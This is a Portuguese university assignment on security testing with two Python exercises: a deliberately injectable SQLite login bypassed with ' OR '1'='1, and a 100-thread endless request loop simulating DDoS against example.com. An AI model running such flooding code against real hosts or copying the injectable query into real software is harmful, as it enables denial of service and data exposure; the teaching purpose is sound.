

## GTI

### SPRINT 3 – MISSÃO 9

#### PROJETO: “DEPLOYMENT QUALITY ASSURANCE”

#### ESTUDO DE CASO

Uma certa empresa decidiu estabelecer uma cultura *QUALITY ASSURANCE* em seu modelo de negócio, visando impactar positivamente processos de qualidade em suas áreas de operação e tecnologia.

#### ESCOPO DO PROJETO

O projeto será composto por 3 Sprints que se complementam, onde os alunos deverão construir ações que validem a empresa a possuir uma cultura orientada a Q.A.

Em duplas/trios os alunos desenvolverão projeto 3 em Sprints:

- SPRINT 1: Vale 0,5 ponto na AC-1 e presenças nas aulas
- SPRINT 2: Vale 1 ponto na AC-2 e presenças nas aulas
- **SPRINT 3: Vale 1 ponto na AC-3 e presenças nas aulas**

#### OBJETIVO

Aprender as nuances e aplicabilidade do *QUALITY ASSURANCE* em uma organização. Construir um projeto de implementação de Gerenciamento de Qualidade Total e realizar atividades que valem nota.

#### SPRINT 3 (1 ponto)

Início: 23/10 – Término: 13/11. Vale 1,0 ponto na AC-3 e presenças nas aulas.

Composto por 4 missões que se complementam para a entrega total do projeto:

- **Missão 9: Testes de Segurança – 25% da AC-3**
- Missão 10: Testes de Usabilidade – 25% da AC-3
- Missão 11: QA em Mobile – 25% da AC-3
- Missão 12: Integração Contínua (DevSecOps) e entrega final – 25% da AC-3

#### MISSÃO 9

**VALE 25% DA NOTA AC-2**

**Objetivo:** Realizar testes de API usando métodos POST, PUT e DELETE

## **CONTEÚDO TEÓRICO:**

### Testes de Segurança na Visão de Código

Os testes de segurança na visão de código, também conhecidos como code scanning ou revisão de código seguro, são processos que visam identificar e corrigir vulnerabilidades no código-fonte de uma aplicação antes que elas possam ser exploradas por atacantes.

Esses testes são essenciais para garantir que o software seja desenvolvido em conformidade com padrões de segurança e para evitar que códigos problemáticos cheguem à produção,

Existem várias abordagens para realizar esses testes:

- **Análise Estática de Código (SAST):** Examina o código-fonte sem executá-lo, identificando vulnerabilidades potenciais.
- **Testes Dinâmicos de Segurança (DAST):** Avalia o comportamento do código em execução para identificar brechas de segurança.
- **Integração Contínua de Segurança (CI/CD):** Incorpora testes de segurança no ciclo de desenvolvimento, permitindo a detecção e correção rápida de novas vulnerabilidades

### **Ataque DDoS**

DDoS (Distributed Denial-of-Service) é um tipo de ataque cibernético onde o atacante sobrecarrega um servidor, serviço ou rede com um grande volume de tráfego de internet falso, tornando-o inacessível para usuários legítimos.

Esse ataque é realizado utilizando múltiplas fontes, geralmente uma rede de dispositivos infectados chamada botnet, que envia um número massivo de solicitações ao alvo, esgotando seus recursos e impedindo o funcionamento normal.

### **SQL Injection**

O SQL Injection (SQLi) é uma vulnerabilidade de segurança que permite a um atacante interferir nas consultas que uma aplicação faz ao seu banco de dados.

Isso pode permitir que o atacante visualize, modifique ou exclua dados que normalmente não seriam acessíveis.

Em casos mais graves, o SQL Injection pode comprometer o servidor subjacente ou outros componentes da infraestrutura

### **Atividade prática:**

#### **Resumo:**

- **SQL Injection:** Mostra como consultas inseguras podem ser exploradas para obter informações do banco de dados.
- **DDoS:** Simula a sobrecarga de um servidor com múltiplas requisições simultâneas.

### **TAREFA 1 – PREPARAÇÃO:**

1. Baixe o arquivo esse “**Missão9-Projeto QA - ADS-5.pdf**” disponível no AVA;
2. Abra o GitHub oficial da dupla/trio e o repositório que estão usando para o projeto;
3. Suba no seu repositório o arquivo “**Missão9-Projeto QA - ADS-5.pdf**”;
4. Agora abra o projeto deste repositório e visualize o quadro Kanban que está gerenciando o projeto;
5. Criar e colocar o cartão MISSÃO 9 para a lista EM ANDAMENTO;

### **TAREFA 1**

#### **1. Simulação de SQL Injection em Python**

Você pode simular um ataque de SQL Injection criando um pequeno banco de dados SQLite e realizando consultas inseguras para mostrar como a injeção SQL funciona.

#### **Rode o código abaixo no Colab e analise os resultados:**

```
import sqlite3

# Criar banco de dados e tabela
connection = sqlite3.connect(':memory:')
cursor = connection.cursor()
cursor.execute("CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)")
cursor.execute("INSERT INTO users (username, password) VALUES ('admin', 'admin123')")
cursor.execute("INSERT INTO users (username, password) VALUES ('user', 'user123')")
connection.commit()
```

```
# Função de login insegura (sem proteção contra SQL Injection)
def login_insecure(username, password):
    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    cursor.execute(query)
    return cursor.fetchone()

# Teste seguro
user_safe = login_insecure("admin", "admin123")
print("Usuário encontrado (login seguro):", user_safe)

# Simulação de SQL Injection
user_injection = login_insecure("admin", "' OR '1'='1")
print("Usuário encontrado (após SQL Injection):", user_injection)

connection.close()
```

### Neste código:

- Um pequeno banco de dados é criado na memória usando SQLite.
- A função login\_insecure constrói uma consulta SQL vulnerável.
- Quando o código é executado, a injeção SQL (' OR '1'='1') é utilizada para obter acesso ao banco de dados sem uma senha válida.

## TAREFA 2

### 2. Simulação de Ataque DDoS em Python

Para simular um ataque DDoS, você pode criar um script que faça múltiplas requisições HTTP simultâneas a um servidor, sobrecarregando-o. Esta é apenas uma simulação educativa e **não deve ser usada em sistemas reais sem permissão**, pois é ilegal.

```
import requests
import threading

# Função para fazer múltiplas requisições ao servidor
def send_request(url):
    while True:
        try:
            response = requests.get(url)
            print(f"Requisição enviada com status: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Erro: {e}")
```

```
# URL de teste (use uma URL de um ambiente controlado)
target_url = 'http://example.com'

# Criar múltiplas threads para simular o ataque
threads = []
for i in range(100): # Número de requisições simultâneas
    thread = threading.Thread(target=send_request, args=(target_url,))
    threads.append(thread)
    thread.start()
```

Neste código:

- requests.get(url) envia repetidas requisições HTTP ao servidor.
- A função é executada em múltiplas threads para simular um ataque DDoS básico.

**Importante:** Este código deve ser executado apenas em um ambiente controlado para evitar abusos.

### **TAREFA DESAFIOS DA AULA**

6. Agora você deverá acessar o documento abaixo e realizar dois desafios

[https://docs.google.com/document/d/1wE7huHjGn1mbaYsFbs8QZr\\_Ht67x98kYlKtb400FWX8/edit?usp=sharing](https://docs.google.com/document/d/1wE7huHjGn1mbaYsFbs8QZr_Ht67x98kYlKtb400FWX8/edit?usp=sharing)

### **TAREFA 4 – FINALIZAÇÃO**

7. Coloque no fim o nome e RA dos alunos presentes na atividade no cartão de hoje;
8. Salve todos os resultados de hoje no cartão MISSÃO 9;
9. Coloque o cartão na lista EM VALIDAÇÃO.

SUCESSO A TODOS!